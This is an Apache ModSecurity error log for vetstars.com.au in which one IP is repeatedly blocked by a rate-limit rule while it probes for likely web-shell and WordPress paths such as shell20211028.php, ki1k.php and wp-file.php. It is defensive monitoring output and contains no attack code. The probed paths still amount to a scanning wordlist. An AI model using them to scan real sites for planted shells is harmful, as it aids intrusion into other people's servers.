[Sat Dec 27 00:34:04.303035 2025] [:error] [pid 34189:tid 34268] [client 4.189.160.210:7190] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aU64_Ann007DnMwSsfcHIgAAAJU"]
[Sat Dec 27 00:34:05.412169 2025] [:error] [pid 34274:tid 34281] [client 4.189.160.210:7207] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aU64_c6fabpS0mfhiCHliQAAAMU"]
[Sat Dec 27 00:34:06.458063 2025] [:error] [pid 34189:tid 34268] [client 4.189.160.210:63750] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aU64_gnn007DnMwSsfcHNgAAAJU"]
[Sat Dec 27 00:34:07.305921 2025] [:error] [pid 34188:tid 34221] [client 4.189.160.210:63110] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aU64_w54j0mXgip5BAGOfAAAAEE"]
[Sat Dec 27 00:34:07.865757 2025] [:error] [pid 34189:tid 34255] [client 4.189.160.210:7180] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aU64_wnn007DnMwSsfcHQwAAAIg"]
[Sat Dec 27 00:34:08.184434 2025] [:error] [pid 34274:tid 34297] [client 4.189.160.210:59754] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aU65AM6fabpS0mfhiCHliwAAANU"]
[Sat Dec 27 00:34:08.544495 2025] [:error] [pid 34189:tid 34249] [client 4.189.160.210:7169] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aU65AAnn007DnMwSsfcHTAAAAII"]
[Sat Dec 27 00:34:08.922865 2025] [:error] [pid 34188:tid 34235] [client 4.189.160.210:59747] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aU65AA54j0mXgip5BAGOfwAAAE8"]
[Sat Dec 27 00:34:09.826161 2025] [:error] [pid 34188:tid 34240] [client 4.189.160.210:7172] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aU65AQ54j0mXgip5BAGOggAAAFQ"]
[Sat Dec 27 00:34:10.694434 2025] [:error] [pid 34188:tid 34227] [client 4.189.160.210:52339] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aU65Ag54j0mXgip5BAGOhAAAAEc"]
[Sat Dec 27 00:34:11.218482 2025] [:error] [pid 34187:tid 34197] [client 4.189.160.210:59773] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aU65A6v8srZGEpsIm8DeDQAAAAU"]
[Sat Dec 27 00:34:11.551795 2025] [:error] [pid 34189:tid 34258] [client 4.189.160.210:7197] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aU65Awnn007DnMwSsfcHYQAAAIs"]
[Sat Dec 27 00:34:12.526535 2025] [:error] [pid 34274:tid 34295] [client 4.189.160.210:63148] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aU65BM6fabpS0mfhiCHljgAAANM"]
[Sat Dec 27 00:34:13.459486 2025] [:error] [pid 34187:tid 34216] [client 4.189.160.210:62098] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aU65Bav8srZGEpsIm8DeIAAAABg"]
[Sat Dec 27 00:34:14.284476 2025] [:error] [pid 34189:tid 34263] [client 4.189.160.210:52297] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aU65Bgnn007DnMwSsfcHYwAAAJA"]
[Sat Dec 27 00:34:14.790829 2025] [:error] [pid 34188:tid 34234] [client 4.189.160.210:62114] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ki1k.php"] [unique_id "aU65Bg54j0mXgip5BAGOhwAAAE4"]
[Sat Dec 27 00:34:15.368569 2025] [:error] [pid 34274:tid 34291] [client 4.189.160.210:7218] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ki1k.php"] [unique_id "aU65B86fabpS0mfhiCHlkAAAAM8"]
[Sat Dec 27 00:34:16.523124 2025] [:error] [pid 34274:tid 34289] [client 4.189.160.210:52293] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ki1k.php"] [unique_id "aU65CM6fabpS0mfhiCHlkQAAAM0"]
[Sat Dec 27 00:34:17.285559 2025] [:error] [pid 34188:tid 34244] [client 4.189.160.210:59770] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ki1k.php"] [unique_id "aU65CQ54j0mXgip5BAGOiQAAAFg"]
[Sat Dec 27 00:34:17.971135 2025] [:error] [pid 34188:tid 34220] [client 4.189.160.210:63164] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/setup-config.php"] [unique_id "aU65CQ54j0mXgip5BAGOigAAAEA"]
[Sat Dec 27 00:34:18.840007 2025] [:error] [pid 34274:tid 34298] [client 4.189.160.210:7213] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/setup-config.php"] [unique_id "aU65Cs6fabpS0mfhiCHlkgAAANY"]
[Sat Dec 27 00:34:19.403560 2025] [:error] [pid 34189:tid 34254] [client 4.189.160.210:59717] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/setup-config.php"] [unique_id "aU65Cwnn007DnMwSsfcHaAAAAIc"]
[Sat Dec 27 00:34:19.787423 2025] [:error] [pid 34274:tid 34287] [client 4.189.160.210:59771] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/setup-config.php"] [unique_id "aU65C86fabpS0mfhiCHllQAAAMs"]
[Sat Dec 27 00:34:20.589978 2025] [:error] [pid 34274:tid 34293] [client 4.189.160.210:63132] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aU65DM6fabpS0mfhiCHlmQAAANE"]
[Sat Dec 27 00:34:20.971669 2025] [:error] [pid 34188:tid 34237] [client 4.189.160.210:63146] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aU65DA54j0mXgip5BAGOiwAAAFE"]
[Sat Dec 27 00:34:21.261703 2025] [:error] [pid 34274:tid 34286] [client 4.189.160.210:52335] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aU65Dc6fabpS0mfhiCHlnAAAAMo"]
[Sat Dec 27 00:34:21.606661 2025] [:error] [pid 34188:tid 34229] [client 4.189.160.210:59734] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aU65DQ54j0mXgip5BAGOjAAAAEk"]
[Sat Dec 27 00:34:21.974591 2025] [:error] [pid 34274:tid 34296] [client 4.189.160.210:52311] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/product.php"] [unique_id "aU65Dc6fabpS0mfhiCHlngAAANQ"]
[Sat Dec 27 00:34:22.470631 2025] [:error] [pid 34189:tid 34265] [client 4.189.160.210:57024] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/product.php"] [unique_id "aU65Dgnn007DnMwSsfcHagAAAJI"]
[Sat Dec 27 00:34:22.997738 2025] [:error] [pid 34274:tid 34295] [client 4.189.160.210:63150] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/product.php"] [unique_id "aU65Ds6fabpS0mfhiCHlogAAANM"]
[Sat Dec 27 00:34:23.303085 2025] [:error] [pid 34274:tid 34288] [client 4.189.160.210:63805] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/product.php"] [unique_id "aU65D86fabpS0mfhiCHlowAAAMw"]
[Sat Dec 27 00:34:23.806089 2025] [:error] [pid 34274:tid 34283] [client 4.189.160.210:59731] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "aU65D86fabpS0mfhiCHlpAAAAMc"]
[Sat Dec 27 00:34:24.460384 2025] [:error] [pid 34274:tid 34298] [client 4.189.160.210:63128] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "aU65EM6fabpS0mfhiCHlpQAAANY"]
[Sat Dec 27 00:34:25.387368 2025] [:error] [pid 34188:tid 34239] [client 4.189.160.210:7230] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "aU65EQ54j0mXgip5BAGOkgAAAFM"]
[Sat Dec 27 00:34:25.928442 2025] [:error] [pid 34274:tid 34300] [client 4.189.160.210:7196] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php"] [unique_id "aU65Ec6fabpS0mfhiCHlqgAAANg"]
[Sat Dec 27 00:34:27.294624 2025] [:error] [pid 34274:tid 34282] [client 4.189.160.210:52337] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-signup.php"] [unique_id "aU65E86fabpS0mfhiCHlrQAAAMY"]
[Sat Dec 27 00:34:28.077900 2025] [:error] [pid 34189:tid 34262] [client 4.189.160.210:7200] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-signup.php"] [unique_id "aU65FAnn007DnMwSsfcHcQAAAI8"]
[Sat Dec 27 00:34:28.683223 2025] [:error] [pid 34274:tid 34294] [client 4.189.160.210:63125] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-signup.php"] [unique_id "aU65FM6fabpS0mfhiCHlswAAANI"]
[Sat Dec 27 00:34:29.415781 2025] [:error] [pid 34188:tid 34233] [client 4.189.160.210:59737] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-signup.php"] [unique_id "aU65FQ54j0mXgip5BAGOmwAAAE0"]
[Sat Dec 27 00:34:29.940132 2025] [:error] [pid 34187:tid 34206] [client 4.189.160.210:65350] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell20211028.php"] [unique_id "aU65Fav8srZGEpsIm8DeRQAAAA4"]
[Sat Dec 27 00:34:30.397045 2025] [:error] [pid 34188:tid 34229] [client 4.189.160.210:63111] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell20211028.php"] [unique_id "aU65Fg54j0mXgip5BAGOnwAAAEk"]
[Sat Dec 27 00:34:31.111846 2025] [:error] [pid 34188:tid 34243] [client 4.189.160.210:63161] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell20211028.php"] [unique_id "aU65Fw54j0mXgip5BAGOoQAAAFc"]
[Sat Dec 27 00:34:31.406419 2025] [:error] [pid 34274:tid 34300] [client 4.189.160.210:63157] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell20211028.php"] [unique_id "aU65F86fabpS0mfhiCHltQAAANg"]
[Sat Dec 27 00:34:31.669398 2025] [:error] [pid 34274:tid 34286] [client 4.189.160.210:63159] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-file.php"] [unique_id "aU65F86fabpS0mfhiCHltwAAAMo"]
[Sat Dec 27 00:34:31.941844 2025] [:error] [pid 34188:tid 34230] [client 4.189.160.210:52333] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-file.php"] [unique_id "aU65Fw54j0mXgip5BAGOowAAAEo"]
[Sat Dec 27 00:34:32.275077 2025] [:error] [pid 34189:tid 34260] [client 4.189.160.210:7168] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-file.php"] [unique_id "aU65GAnn007DnMwSsfcHdwAAAI0"]
[Sat Dec 27 00:34:32.883679 2025] [:error] [pid 34189:tid 34247] [client 4.189.160.210:7176] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-file.php"] [unique_id "aU65GAnn007DnMwSsfcHeAAAAIA"]
[Sat Dec 27 00:35:17.316318 2025] [:error] [pid 34274:tid 34294] [client 4.189.160.210:7175] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/widgets.php"] [unique_id "aU65Rc6fabpS0mfhiCHmaAAAANI"]
[Sat Dec 27 00:35:18.025849 2025] [:error] [pid 34274:tid 34293] [client 4.189.160.210:63144] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/widgets.php"] [unique_id "aU65Rs6fabpS0mfhiCHmaQAAANE"]
[Sat Dec 27 00:35:18.496467 2025] [:error] [pid 34274:tid 34295] [client 4.189.160.210:59726] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/widgets.php"] [unique_id "aU65Rs6fabpS0mfhiCHmagAAANM"]
[Sat Dec 27 00:35:19.752556 2025] [:error] [pid 34188:tid 34227] [client 4.189.160.210:7227] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/widgets.php"] [unique_id "aU65Rw54j0mXgip5BAGOzgAAAEc"]
[Sat Dec 27 00:35:20.463240 2025] [:error] [pid 34187:tid 34216] [client 4.189.160.210:52300] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/web.php"] [unique_id "aU65SKv8srZGEpsIm8DebAAAABg"]
[Sat Dec 27 00:35:21.093747 2025] [:error] [pid 34188:tid 34226] [client 4.189.160.210:7173] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/web.php"] [unique_id "aU65SQ54j0mXgip5BAGO0AAAAEY"]
[Sat Dec 27 00:35:21.661934 2025] [:error] [pid 34189:tid 34266] [client 4.189.160.210:63134] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/web.php"] [unique_id "aU65SQnn007DnMwSsfcHtQAAAJM"]
[Sat Dec 27 00:35:22.242338 2025] [:error] [pid 34274:tid 34299] [client 4.189.160.210:63112] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/web.php"] [unique_id "aU65Ss6fabpS0mfhiCHmcAAAANc"]
[Sat Dec 27 00:35:22.955389 2025] [:error] [pid 34274:tid 34276] [client 4.189.160.210:59750] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class.php"] [unique_id "aU65Ss6fabpS0mfhiCHmcgAAAMA"]
[Sat Dec 27 00:35:23.722943 2025] [:error] [pid 34274:tid 34300] [client 4.189.160.210:52291] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class.php"] [unique_id "aU65S86fabpS0mfhiCHmdgAAANg"]
